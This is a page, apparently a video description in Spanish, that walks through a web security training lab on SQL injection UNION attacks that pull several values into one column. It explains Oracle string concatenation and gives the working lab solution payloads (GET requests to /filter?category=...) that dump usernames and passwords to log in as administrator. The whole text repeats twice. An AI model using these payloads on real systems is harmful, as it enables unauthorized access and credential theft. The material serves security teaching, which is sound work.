filmov
tv
SQL injection UNION attack, retrieving multiple values in a single column

Показать описание
En el ejemplo anterior, supongamos que la consulta solo devuelve una sola columna.
Puede recuperar fácilmente múltiples valores juntos dentro de esta sola columna concatenando los valores juntos, idealmente incluyendo un separador adecuado para permitirle distinguir los valores combinados. Por ejemplo, en Oracle puede enviar la entrada:
' UNION SELECT username || '~' || password FROM users--
Esto utiliza la secuencia de doble tubo || que es un operador de concatenación de cadenas en Oracle. La consulta inyectada concatena los valores de los campos de nombre de usuario y contraseña, separados por el carácter ~.
Los resultados de la consulta le permitirán leer todos los nombres de usuario y contraseñas, por ejemplo:
...
administrador ~ s3cure
Wiener ~ Peter
carlos ~ montoya
...
Tenga en cuenta que diferentes bases de datos usan diferentes sintaxis para realizar la concatenación de cadenas. Para más detalles, vea la hoja de trucos de inyección SQL.
Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Los resultados de la consulta se devuelven en la respuesta de la aplicación para que pueda usar un ataque UNION para recuperar datos de otras tablas.
La base de datos contiene una tabla diferente llamada usuarios, con columnas llamadas nombre de usuario y contraseña.
Para resolver el laboratorio, realice un ataque UNION de inyección SQL que recupere todos los nombres de usuario y contraseñas, y use la información para iniciar sesión como usuario administrador.
-------------------------------------------------------------------------------------------
SOLUTION:
GET /filter?category=Gifts'+UNION+SELECT+'abc',NULL--
GET /filter?category=Gifts'+UNION+SELECT+NULL,'abc'--
___________________________________________________________________________________________
SOLUCION FINAL:
GET /filter?category=Gifts'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
____________________________________________________________________________________________
Solucion final:
Use Burp Suite para interceptar y modificar la solicitud que establece el filtro de categoría de producto.
Determine el número de columnas que devuelve la consulta y qué columnas contienen datos de texto. Verifique que la consulta devuelva dos columnas, solo una de las cuales contiene texto, utilizando una carga útil como la siguiente en el parámetro de categoría:
'+UNION+SELECT+NULL,'abc'--
Use la siguiente carga útil para recuperar el contenido de la tabla de usuarios:
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
Verifique que la respuesta de la aplicación contenga nombres de usuario y contraseñas.
Puede recuperar fácilmente múltiples valores juntos dentro de esta sola columna concatenando los valores juntos, idealmente incluyendo un separador adecuado para permitirle distinguir los valores combinados. Por ejemplo, en Oracle puede enviar la entrada:
' UNION SELECT username || '~' || password FROM users--
Esto utiliza la secuencia de doble tubo || que es un operador de concatenación de cadenas en Oracle. La consulta inyectada concatena los valores de los campos de nombre de usuario y contraseña, separados por el carácter ~.
Los resultados de la consulta le permitirán leer todos los nombres de usuario y contraseñas, por ejemplo:
...
administrador ~ s3cure
Wiener ~ Peter
carlos ~ montoya
...
Tenga en cuenta que diferentes bases de datos usan diferentes sintaxis para realizar la concatenación de cadenas. Para más detalles, vea la hoja de trucos de inyección SQL.
Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Los resultados de la consulta se devuelven en la respuesta de la aplicación para que pueda usar un ataque UNION para recuperar datos de otras tablas.
La base de datos contiene una tabla diferente llamada usuarios, con columnas llamadas nombre de usuario y contraseña.
Para resolver el laboratorio, realice un ataque UNION de inyección SQL que recupere todos los nombres de usuario y contraseñas, y use la información para iniciar sesión como usuario administrador.
-------------------------------------------------------------------------------------------
SOLUTION:
GET /filter?category=Gifts'+UNION+SELECT+'abc',NULL--
GET /filter?category=Gifts'+UNION+SELECT+NULL,'abc'--
___________________________________________________________________________________________
SOLUCION FINAL:
GET /filter?category=Gifts'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
____________________________________________________________________________________________
Solucion final:
Use Burp Suite para interceptar y modificar la solicitud que establece el filtro de categoría de producto.
Determine el número de columnas que devuelve la consulta y qué columnas contienen datos de texto. Verifique que la consulta devuelva dos columnas, solo una de las cuales contiene texto, utilizando una carga útil como la siguiente en el parámetro de categoría:
'+UNION+SELECT+NULL,'abc'--
Use la siguiente carga útil para recuperar el contenido de la tabla de usuarios:
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
Verifique que la respuesta de la aplicación contenga nombres de usuario y contraseñas.